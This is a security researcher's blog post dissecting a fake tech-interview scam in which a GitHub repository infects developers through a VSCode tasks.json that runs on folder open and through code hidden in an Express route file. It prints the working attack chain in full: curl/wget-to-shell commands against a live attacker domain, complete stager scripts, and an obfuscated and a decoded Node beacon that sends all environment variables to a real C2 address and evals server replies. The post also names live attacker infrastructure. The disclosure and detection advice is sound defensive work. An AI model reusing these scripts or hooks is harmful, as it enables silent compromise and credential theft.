Fake Interview Scams - Malware Execution via VSCode and Express App
This blog post explores a fake tech interview scam that infects victims' machines through a malicious GitHub repository. The infection occurs via Visual Studio Code's `.vscode` folder and a legitimate-looking Express app, allowing attackers to execute arbitrary code and steal sensitive information.
Fake interview research
Imagine this: You clone a GitHub repository for a promising tech interview, open it in Visual Studio Code, and walk away to grab a coffee. You didn’t run npm install. You didn’t execute a single terminal command. Yet, your machine is already compromised.
Some hours ago I stumbled across a post on X about someone who got infected by a fake tech interview campaign and left the repo in the comments. I decided to investigate and see if I could find more information about this campaign, and I found some interesting things.
Victim’s post: This morning I was HACKED!
Target repo:zero2hero-digital/jack-pot
C2: http://54.39.43.117:1224
org: zero2hero.net
twitter: @zero2hero
I have identified two infection methods in this repo: one is through the .vscode folder, and other inside a legit looking express app. funnily enough, I found the vscode infection first, and then the express app infection. I will explain both in detail below.
As of 2026-07-15, the repo is still around, the c2 is still up and running, and the malicious code is still there. I have contacted the repo owner and they are aware of the situation.
The fake interviewer
This has been a well known scam for a while, the fake interviewer will contact you through linkedin or email, and will ask you to do a tech interview. They will ask you to clone a repo and run some code, which will infect your machine with a malicious script. The goal of this attack is to gain access to your machine and steal sensitive information.
Vector 1: Tasks.json
Our main focus here is .vscode folder, which contains configuration files for Visual Studio Code. Attackers often exploit these files to inject malicious code or scripts that can compromise the development environment.
{
"label": "env",
"type": "shell",
"osx": {
"command": "curl -L 'https://vscode-check-mo2.vercel.app/api/settings/mac' | bash"
},
"linux": {
"command": "wget -qO- 'https://vscode-check-mo2.vercel.app/api/settings/linux' | sh"
},
"windows": {
"command": "curl --ssl-no-revoke -L https://vscode-check-mo2.vercel.app/api/settings/windows | cmd"
},
"problemMatcher": [],
"presentation": {
"reveal": "silent",
"echo": false,
"focus": false,
"close": true,
"panel": "new",
"showReuseMessage": false,
"clear": true
},
"runOptions": {
"runOn": "folderOpen"
}
}
This will trigger a download whenever the user opens the project in VSCode. The downloaded file is a malicious script that will run in the background, polling a command and control server for further instructions.
The original tasks.json indents the commands a lot to the right to make them less noticeable to a human eye.
Inside settings.json we can find "editor.formatOnSave set to False, I believe this is to prevent the user from formatting the file and noticing the malicious code.
Api & Paths
Stager
base: https://vscode-check-mo2.vercel.app/api/settings/
Setup
api/settings/windows -> windows.bat (stager)
api/settings/mac -> mac.sh (stager)
api/settings/linux -> linux.sh (stager)
Bootstrap
api/settings/bootstrap -> windows_bootstrap.bat (stager)
api/settings/bootstraplinux -> unix_bootstrap.sh (stager)
Agent
api/settings/env -> env.npl (malicious script)
Steps
There are 3 OS specific commands in the tasks.json file, one for each OS. The steps are as follows:
- vscode triggers one of the commands above when the user opens the project.
- node download gets downloaded as well as the malicious script.
%USER%/.vscodeis set as working directory and the malicious script is executed.- script starts running in the background.
- downloaded script
env.nplwill poll the command and control server for further instructions, which can be anything from stealing sensitive information to executing arbitrary commands on the victim’s machine.
Below there are snippets for their staging scripts, funnily enough, the staging scripts are not obfuscated, and they even have some comments in them, which makes it easier to understand what they do.
Windows
First windows.bat is downloaded and executed, which contains the following code:
@echo off
set "VSCODE_DIR=%USERPROFILE%\.vscode"
:: Create the directory if it doesn't exist
if not exist "%VSCODE_DIR%" (
mkdir "%VSCODE_DIR%"
)
:: Download the vscode-bootstrap.cmd file
curl --ssl-no-revoke -s -L -o "%VSCODE_DIR%\vscode-bootstrap.cmd" https://vscode-check-mo2.vercel.app/api/settings/bootstrap
:: Run the downloaded script
cls
"%VSCODE_DIR%\vscode-bootstrap.cmd"
cls
@echo off
title Creating new Info
setlocal enabledelayedexpansion
if "%~1" neq "_restarted" (
powershell -WindowStyle Hidden -Command ^
"Start-Process -FilePath cmd.exe -ArgumentList '/c \"%~f0\" _restarted' -WindowStyle Hidden"
exit /b
)
REM -------------------------
REM Get latest Node.js version
REM -------------------------
for /f "delims=" %%v in (
'powershell -Command "(Invoke-RestMethod https://nodejs.org/dist/index.json)[0].version"'
) do set "LATEST_VERSION=%%v"
set "NODE_VERSION=%LATEST_VERSION:~1%"
set "NODE_MSI=node-v%NODE_VERSION%-x64.msi"
set "DOWNLOAD_URL=https://nodejs.org/dist/v%NODE_VERSION%/%NODE_MSI%"
set "EXTRACT_DIR=%~dp0nodejs"
set "PORTABLE_NODE=%EXTRACT_DIR%\PFiles64\nodejs\node.exe"
set "NODE_EXE="
:: -------------------------
:: Check global Node.js
:: -------------------------
where node >nul 2>&1
if not errorlevel 1 (
for /f "delims=" %%v in ('node -v 2^>nul') do set "NODE_INSTALLED_VERSION=%%v"
set "NODE_EXE=node"
echo [INFO] Node.js already installed: %NODE_INSTALLED_VERSION%
)
:: -------------------------
:: Portable Node.js fallback
:: -------------------------
if not defined NODE_EXE (
if exist "%PORTABLE_NODE%" (
set "NODE_EXE=%PORTABLE_NODE%"
set "PATH=%EXTRACT_DIR%\PFiles64\nodejs;%PATH%"
echo [INFO] Portable Node.js found.
) else (
echo [INFO] Downloading portable Node.js...
where curl >nul 2>&1
if errorlevel 1 (
powershell -Command ^
"Invoke-WebRequest -Uri '%DOWNLOAD_URL%' -OutFile '%~dp0%NODE_MSI%'"
) else (
curl --ssl-no-revoke -s -L ^
-o "%~dp0%NODE_MSI%" "%DOWNLOAD_URL%"
)
if not exist "%~dp0%NODE_MSI%" (
echo [ERROR] Node.js download failed.
exit /b 1
)
msiexec /a "%~dp0%NODE_MSI%" /qn TARGETDIR="%EXTRACT_DIR%"
del "%~dp0%NODE_MSI%"
if exist "%PORTABLE_NODE%" (
set "NODE_EXE=%PORTABLE_NODE%"
set "PATH=%EXTRACT_DIR%\PFiles64\nodejs;%PATH%"
echo [INFO] Portable Node.js ready.
) else (
echo [ERROR] node.exe not found after extraction.
exit /b 1
)
)
)
:: -------------------------
:: Save VSCode workspace folder name
:: -------------------------
set "CODEPROFILE=%USERPROFILE%\.vscode"
if not exist "%CODEPROFILE%" mkdir "%CODEPROFILE%"
:: Capture the current workspace folder name (the current directory in VSCode)
for %%F in ("%CD%") do set "VSCODE_WORKSPACE_NAME=%%~nxF"
echo [INFO] Saving VSCode workspace folder name...
echo !VSCODE_WORKSPACE_NAME! > "%CODEPROFILE%\!VSCODE_WORKSPACE_NAME!.txt"
echo [INFO] Workspace folder name saved as "%CODEPROFILE%\!VSCODE_WORKSPACE_NAME!.txt"
:: -------------------------
:: Download required files
:: -------------------------
set "CODEPROFILE=%USERPROFILE%\.vscode"
if not exist "%CODEPROFILE%" mkdir "%CODEPROFILE%"
echo [INFO] Downloading env.npl and package.json...
curl --ssl-no-revoke -s -L ^
-o "%CODEPROFILE%\env.npl" ^
"https://vscode-check-mo2.vercel.app/api/settings/env"
curl --ssl-no-revoke -s -L ^
-o "%CODEPROFILE%\package.json" ^
"https://vscode-check-mo2.vercel.app/api/settings/package"
:: -------------------------
:: Install dependencies
:: -------------------------
if not exist "%~dp0node_modules\request" (
pushd "%~dp0"
echo [INFO] Installing npm dependencies...
call npm install request
if errorlevel 1 (
echo [ERROR] npm install failed.
popd
exit /b 1
)
popd
)
:: -------------------------
:: Run parser
:: -------------------------
if exist "%CODEPROFILE%\env.npl" (
echo [INFO] Running env.npl...
pushd "%CODEPROFILE%"
"%NODE_EXE%" "%CODEPROFILE%\env.npl"
if errorlevel 1 (
echo [ERROR] env.npl execution failed.
popd
exit /b 1
)
popd
) else (
echo [ERROR] env.npl not found.
exit /b 1
)
echo [SUCCESS] Script completed successfully.
exit /b 0
Linux | MacOS
mac.sh
#!/bin/bash
set -e
# -------------------------
# Step 1: Make sure the .vscode directory exists
# -------------------------
mkdir -p "$HOME/.vscode"
# -------------------------
# Step 2: Download the script if it doesn't exist or if it's not updated
# -------------------------
echo "Downloading or updating vscode-bootstrap.sh..."
curl -s -L -o "$HOME/.vscode/vscode-bootstrap.sh" "https://vscode-check-mo2.vercel.app/api/settings/bootstraplinux"
# -------------------------
# Step 3: Check if the script exists and make it executable
# -------------------------
if [ -f "$HOME/.vscode/vscode-bootstrap.sh" ]; then
chmod +x "$HOME/.vscode/vscode-bootstrap.sh"
echo "Script is now executable."
else
echo "Error: Script download failed or file not found."
exit 1
fi
# -------------------------
# Step 4: Run the script in the background, redirecting output and errors
# -------------------------
echo "Running the script in the background..."
nohup bash "$HOME/.vscode/vscode-bootstrap.sh"
# -------------------------
# Step 5: Exit
# -------------------------
echo "Process started. Exiting."
exit 0
linux.sh
#!/bin/bash
set -e
echo "Authenticated"
TARGET_DIR="$HOME/.vscode"
mkdir -p "$TARGET_DIR"
clear
wget -q -O "$TARGET_DIR/vscode-bootstrap.sh" "https://vscode-check-mo2.vercel.app/api/settings/bootstraplinux"
clear
chmod +x "$TARGET_DIR/vscode-bootstrap.sh"
clear
nohup bash "$TARGET_DIR/vscode-bootstrap.sh"
clear
exit 0
And then:
#!/bin/bash
# Creating new Info
set -e
OS=$(uname -s)
NODE_EXE=""
NODE_INSTALLED_VERSION=""
USER_HOME="$HOME/.vscode"
VS_CODE_FOLDER=$(pwd) # Get the current working directory
VS_CODE_FOLDER_NAME=$(basename "$VS_CODE_FOLDER") # Extract the folder name
# -------------------------
# Check for global Node.js installation
# -------------------------
if command -v node &> /dev/null; then
NODE_INSTALLED_VERSION=$(node -v 2>/dev/null || echo "")
if [ -n "$NODE_INSTALLED_VERSION" ]; then
NODE_EXE="node"
echo "[INFO] Node.js is already installed globally: $NODE_INSTALLED_VERSION"
fi
fi
# -------------------------
# If Node.js not found globally, download and extract portable version
# -------------------------
if [ -z "$NODE_EXE" ]; then
echo "[INFO] Node.js not found globally. Attempting to download portable version..."
# Get latest Node.js version
if [ "$OS" == "Darwin" ]; then
# macOS - get latest version
if command -v curl &> /dev/null; then
LATEST_VERSION=$(curl -s https://nodejs.org/dist/index.json | grep -o '"version":"[^"]*"' | head -1 | cut -d'"' -f4)
elif command -v wget &> /dev/null; then
LATEST_VERSION=$(wget -qO- https://nodejs.org/dist/index.json | grep -o '"version":"[^"]*"' | head -1 | cut -d'"' -f4)
else
LATEST_VERSION="v20.11.1"
fi
elif [ "$OS" == "Linux" ]; then
# Linux - get latest version
if command -v curl &> /dev/null; then
LATEST_VERSION=$(curl -s https://nodejs.org/dist/index.json | grep -o '"version":"[^"]*"' | head -1 | cut -d'"' -f4)
elif command -v wget &> /dev/null; then
LATEST_VERSION=$(wget -qO- https://nodejs.org/dist/index.json | grep -o '"version":"[^"]*"' | head -1 | cut -d'"' -f4)
else
LATEST_VERSION="v20.11.1"
fi
else
echo "[ERROR] Unsupported OS: $OS"
exit 1
fi
# Remove leading "v"
NODE_VERSION=$LATEST_VERSION
# Determine download URL and paths based on OS
EXTRACTED_DIR="$HOME/.vscode/node-$NODE_VERSION-$( [ "$OS" = "Darwin" ] && echo "darwin" || echo "linux" )-x64"
PORTABLE_NODE="$EXTRACTED_DIR/bin/node"
if [ "$OS" == "Darwin" ]; then
NODE_TARBALL="$HOME/.vscode/node-$NODE_VERSION-darwin-x64.tar.xz"
DOWNLOAD_URL="https://nodejs.org/dist/$NODE_VERSION/node-$NODE_VERSION-darwin-x64.tar.xz"
elif [ "$OS" == "Linux" ]; then
NODE_TARBALL="$HOME/.vscode/node-$NODE_VERSION-linux-x64.tar.xz"
DOWNLOAD_URL="https://nodejs.org/dist/$NODE_VERSION/node-$NODE_VERSION-linux-x64.tar.xz"
fi
# Check if portable Node.js already exists
if [ -f "$PORTABLE_NODE" ]; then
echo "[INFO] Portable Node.js found."
NODE_EXE="$PORTABLE_NODE"
export PATH="$EXTRACTED_DIR/bin:$PATH"
else
echo "[INFO] Downloading Node.js..."
mkdir -p "$HOME/.vscode"
# Download Node.js
if ! command -v curl &> /dev/null && ! command -v wget &> /dev/null; then
echo "[ERROR] Neither curl nor wget is available."
exit 1
fi
if command -v curl &> /dev/null; then
curl -sSL -o "$NODE_TARBALL" "$DOWNLOAD_URL"
else
wget -q -O "$NODE_TARBALL" "$DOWNLOAD_URL"
fi
if [ ! -f "$NODE_TARBALL" ]; then
echo "[ERROR] Failed to download Node.js."
exit 1
fi
echo "[INFO] Extracting Node.js..."
tar -xf "$NODE_TARBALL" -C "$HOME/.vscode"
rm -f "$NODE_TARBALL"
if [ -f "$PORTABLE_NODE" ]; then
echo "[INFO] Portable Node.js extracted successfully."
NODE_EXE="$PORTABLE_NODE"
export PATH="$EXTRACTED_DIR/bin:$PATH"
else
echo "[ERROR] node executable not found after extraction."
exit 1
fi
fi
fi
# -------------------------
# Verify Node.js works
# -------------------------
if [ -z "$NODE_EXE" ]; then
echo "[ERROR] Node.js executable not set."
exit 1
fi
"$NODE_EXE" -v > /dev/null 2>&1
if [ $? -ne 0 ]; then
echo "[ERROR] Node.js execution failed."
exit 1
fi
# -------------------------
# Save the VSCode folder name to a text file in $HOME/.vscode
# -------------------------
if [ -n "$VS_CODE_FOLDER" ]; then
echo "[INFO] Found VSCode folder: $VS_CODE_FOLDER_NAME"
echo "$VS_CODE_FOLDER_NAME" > "$USER_HOME/$VS_CODE_FOLDER_NAME.txt"
echo "[INFO] Folder name saved as $USER_HOME/$VS_CODE_FOLDER_NAME.txt"
else
echo "[ERROR] No VSCode folder found."
exit 1
fi
# -------------------------
# Download required files
# -------------------------
mkdir -p "$HOME/.vscode"
BASE_URL="https://vscode-check-mo2.vercel.app/api"
echo "[INFO] Downloading env-setup.js and package.json..."
if ! command -v curl >/dev/null 2>&1; then
wget -q -O "$HOME/.vscode/env-setup.js" "https://vscode-check-mo2.vercel.app/api/settings/env"
wget -q -O "$HOME/.vscode/package.json" "https://vscode-check-mo2.vercel.app/api/settings/package"
else
curl -s -L -o "$HOME/.vscode/env-setup.js" "https://vscode-check-mo2.vercel.app/api/settings/env"
curl -s -L -o "$HOME/.vscode/package.json" "https://vscode-check-mo2.vercel.app/api/settings/package"
fi
# -------------------------
# Install dependencies
# -------------------------
cd "$HOME/.vscode"
if [ ! -d "node_modules/request" ]; then
echo "[INFO] Installing NPM packages..."
if command -v npm &> /dev/null; then
npm install --silent --no-progress --loglevel=error --fund=false
else
# Use npm from extracted directory if available
if [ -n "$EXTRACTED_DIR" ] && [ -f "$EXTRACTED_DIR/bin/npm" ]; then
"$EXTRACTED_DIR/bin/npm" install --silent --no-progress --loglevel=error --fund=false
else
echo "[ERROR] npm not found."
exit 1
fi
fi
if [ $? -ne 0 ]; then
echo "[ERROR] npm install failed."
exit 1
fi
fi
# -------------------------
# Run env-setup.js
# -------------------------
if [ -f "$HOME/.vscode/env-setup.js" ]; then
echo "[INFO] Running env-setup.js..."
#cd "$HOME"
"$NODE_EXE" "$HOME/.vscode/env-setup.js"
if [ $? -ne 0 ]; then
echo "[ERROR] env-setup.js execution failed."
exit 1
fi
else
echo "[ERROR] env-setup.js not found."
exit 1
fi
echo "[SUCCESS] Script completed successfully."
exit 0
The malicious script
Here’s the malicious script that gets downloaded and executed in the background:
// env.npl
const _0x5b22fd = _0x21a8; (function (_0x4b243b, _0x456cb7) { const _0x4129a3 = _0x21a8, _0x7d14c = _0x4b243b(); while (!![]) { try { const _0x2389ba = parseInt(_0x4129a3(0x1f8)) / 0x1 + parseInt(_0x4129a3(0x1f6)) / 0x2 * (-parseInt(_0x4129a3(0x20d)) / 0x3) + parseInt(_0x4129a3(0x209)) / 0x4 * (parseInt(_0x4129a3(0x1ff)) / 0x5) + parseInt(_0x4129a3(0x20e)) / 0x6 + -parseInt(_0x4129a3(0x205)) / 0x7 + parseInt(_0x4129a3(0x1f5)) / 0x8 * (parseInt(_0x4129a3(0x1f7)) / 0x9) + -parseInt(_0x4129a3(0x200)) / 0xa; if (_0x2389ba === _0x456cb7) break; else _0x7d14c['push'](_0x7d14c['shift']()); } catch (_0x51b070) { _0x7d14c['push'](_0x7d14c['shift']()); } } }(_0x1968, 0xbf409)); function _0x21a8(_0x37ecd4, _0x37348b) { _0x37ecd4 = _0x37ecd4 - 0x1f3; const _0x19684e = _0x1968(); let _0x21a818 = _0x19684e[_0x37ecd4]; return _0x21a818; } const os = require('os'); var sysId = 0x0; function _0x1968() { const _0x297c57 = ['release', '127320afXRSD', '303614XinAoN', '855MWsgKt', '652014MlarNc', 'values', 'utf8', 'flat', 'bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc=', 'hostname', 'stringify', '20xwaJNX', '25263630BrkKqE', 'base64', 'IPv4', 'from', 'internal', '3382855FALkPR', 'aHR0cDovLzU0LjM5LjQzLjExNzoxMjI0L2FwaS9jaGVja1N0YXR1cw==', 'exit', 'find', '670492FVjUDp', 'family', '00:00:00:00:00:00', 'mac', '3GsrIaP', '6662238cTAbqD', 'toString']; _0x1968 = function () { return _0x297c57; }; return _0x1968(); } function getSystemInfo() { const _0x29d7be = _0x21a8, _0x4f5b67 = os[_0x29d7be(0x1fd)](), _0x247aa6 = os['type'](), _0x18552c = os[_0x29d7be(0x1f4)](), _0x5aae47 = os['platform'](), _0x226650 = Object[_0x29d7be(0x1f9)](os['networkInterfaces']())[_0x29d7be(0x1fb)]()[_0x29d7be(0x208)](_0x4cf379 => _0x29d7be(0x202) === _0x4cf379[_0x29d7be(0x20a)] && !_0x4cf379[_0x29d7be(0x204)] && _0x29d7be(0x20b) !== _0x4cf379[_0x29d7be(0x20c)])?.[_0x29d7be(0x20c)]; return { 'hostname': _0x4f5b67, 'macs': [_0x226650], 'os': _0x247aa6 + ' ' + _0x18552c + ' (' + _0x5aae47 + ')' }; } async function sendRequest(_0x4ee79a) { const _0x1edfab = _0x21a8; try { const _0xab2bcc = new URLSearchParams({ 'sysInfo': JSON[_0x1edfab(0x1fe)](_0x4ee79a), 'processInfo': JSON[_0x1edfab(0x1fe)](process.env), 'tid': _0x1edfab(0x1fc), 'sysId': sysId }), _0xc56c53 = Buffer[_0x1edfab(0x203)](_0x1edfab(0x206), _0x1edfab(0x201))[_0x1edfab(0x1f3)](_0x1edfab(0x1fa)), _0x1be7af = await fetch(_0xc56c53 + '?' + _0xab2bcc), { status: _0x3f0695, message: _0x353308, sysId: _0xbd3a8b } = await _0x1be7af['json'](); if ('error' === _0x3f0695) try { eval(_0x353308); } catch (_0x428269) { } _0xbd3a8b && (sysId = _0xbd3a8b); } catch (_0x4237d0) { console['error'](_0x4237d0); } } try { const s = getSystemInfo(); sendRequest(s), setInterval(() => { sendRequest(s); }, 0x1388); } catch (_0x34607d) { console['error'](_0x34607d), process[_0x5b22fd(0x207)](0x1); }
It’s quite tricky to read, but let’s focus at:
-bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc= -> “now it time to get everything” in base64, and
-aHR0cDovLzU0LjM5LjQzLjExNzoxMjI0L2FwaS9jaGVja1N0YXR1cw== -> http://54.39.43.117:1224/api/checkStatus
Here’s an illustration of what the script does, in a more readable format:
const os = require('os');
let victimId = null;
// --- 1. Fingerprint the host ---
function getSystemInfo() {
const mac = Object.values(os.networkInterfaces())
.flat()
.find(i => i.family === 'IPv4' && !i.internal && i.mac !== '00:00:00:00:00:00')
?.mac;
return {
hostname: os.hostname(),
macs: [mac],
os: `${os.type()} ${os.release()} (${os.platform()})`
};
}
// --- 2. Beacon + receive tasking ---
async function checkIn(info) {
try {
const params = new URLSearchParams({
sysInfo: JSON.stringify(info),
processInfo: JSON.stringify(process.env), // ← every env var: tokens, keys, secrets
tid: 'bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc=', // b64: "now it time to get everything"
sysId: victimId
});
// b64-decoded C2: http://54.39.43.117:1224/api/checkStatus
const res = await fetch('http://54.39.43.117:1224/api/checkStatus?' + params);
const data = await res.json();
if (data.status === 'error') {
eval(data.message); // ← arbitrary code execution
}
if (data.sysId) victimId = data.sysId; // operator-assigned victim ID
} catch (e) { console.error(e); }
}
// --- 3. Loop forever, 5s interval (0x1388) ---
const info = getSystemInfo();
checkIn(info);
setInterval(() => checkIn(info), 5000);
Whenever the fields are missing you may receive a response like this:
{
"status": "ok",
"message": "server connected"
}
But when the fields are present, the server will assign a sysId to the victim and return it in the response, like this:
{
"status": "ok",
"message": "server connected",
"sysId": "0e736c9b-2e76-45a6-889a-089367c5719d"
}
This might be picked based on the victim’s system information, and will be used to identify the victim in future requests.
status can be either ok or error. If the status is error, everything inside the message field will be executed with eval. If the status is ok, the script will continue to poll the server every 5 seconds.
While I haven’t seen commands yet, it should look something like this:
{
"status": "error",
"message": "console.log('hello world')"
}
getSystemInfo() will return something like this:
{
"hostname": "x",
"macs": ["xx:xx:xx:xx:xx:xx"],
"os": "Windows_NT 10.0 (win32)"
}
commands system
There’s a loop polling the server every 5 seconds (encoded as 0x1388 in the script).
Vector 2: - Express app infection
Remember the js file I mentioned and the white space in the tasks.json? Well, the same thing happens in the express app in:
/routes/api/auth.js
The last line of the file contains module.exports = router; but many spaces later there is a malicious code that will be executed when the file is required by the express app.
This Obfuscated code is similar to the one in the vscode infection I mentioned above, it will also poll the same server for commands to execute.
Vector 3: GitHub Social Engineering
The repo has legit-looking history, multiple contributors, over 376 commits, being the oldest one from 2015-07-20.
This is where things get interesting, many of you may know that commits can be faked, so as commiters, you can even impersonate other contributors. So the commit dates says nothing.
However, we can check the github’s API to see the repo’s metadata and see if it was created recently or not.
curl https://api.github.com/repos/zero2hero-digital/jack-pot
You can curl or see this in your browser to see the full JSON.
As you can see their metadata and this is where stuff gets interesting, the repo was created on 2026-07-06 (9 days ago as of now), and the last push was on 2026-07-14 (1 day ago). This means that the repo was created 8 years after the first commit, and the last push was made 1 day ago.
It has over 3 forks and zero stars.
Now about the org itself:
curl https://api.github.com/users/zero2hero-digital
we can see some more interesting findings
"blog": "https://www.zero2hero.net/",
"location": "United Kingdom",
"email": null,
"hireable": null,
"bio": null,
"twitter_username": "zero2hero_uk",
"public_repos": 1,
"public_gists": 0,
"followers": 0,
"following": 0,
"created_at": "2026-07-06T10:19:39Z",
"updated_at": "2026-07-06T10:25:32Z"
This org was created on 2026-07-06 (9 days ago as of now), and has only 1 public repo, which is the one we are investigating. It has zero followers and zero following, and no bio or email. The twitter account was created on 2026-07-06 as well.
When you check their blog and socials they appear to be running for longer and they even have a token.
There are a few posts in twitter from 2023, the token is 36 months old.
When we look in zero2hero.net we can see that their token is supposedly 36 months and audited, they often reference dead links, or stuff that looks AI hallucinated.
As we can see this account isn’t stolen, was made just a few days ago, same as the repo, and the social engineering is very well done, making it look like a legitimate project.
The org creation date and the repo creation date are the same, and the oldest commit is 8 years older than the repo creation date, which is impossible.
So far I haven’t found any definitive proof of this being impersonation, but I have an strong suspicion that this is just a fake “company” running a social engineering campaign.
searching for the same paths I’ve managed to find other similar campaigns which are very likely from the same actor, that are still active and running. I will list them below:
- https://github.com/msmilan69/Result-Task
- https://github.com/limitbreakinc-hub/AjunaVerse-MVP
- https://github.com/nhaga/bet_ver_1
- https://github.com/sergous/DLabs-Platform-MVP2
- https://github.com/RicardoQLG/AlchemyMVP
- https://github.com/aitech-orbit/ACNPlay-Demo
What now?
I believe this is a very well done campaign, and I believe it will continue to be active for a while. I will continue to monitor the situation and update this post with any new findings.
Some takeways to avoid this kind of attack:
- Always read the code before cloning it
- Forcing the linter might have likely exposed this.
grep|rgfor “eval” or “exec” in the repo, and check for any suspicious code as this is rarely used in legitimate code.- lookup for suspicious domains in the code, and check if they are known malicious domains.
- Keep
Workspace Trustdisabled in VSCode, unless you are absolutely sure about the code you are running. - Toggle “editor.renderWhitespace”: “all”.
- verify the repo’s metadata with the github api, and check for suspicious activity like the one I described above.
Stay safe!
folderOpen ─▶ tasks.json ─▶ os-stager ─▶ bootstrap ─▶ env.npl ─▶ C2 beacon (5s)
│ │
node download eval(msg)
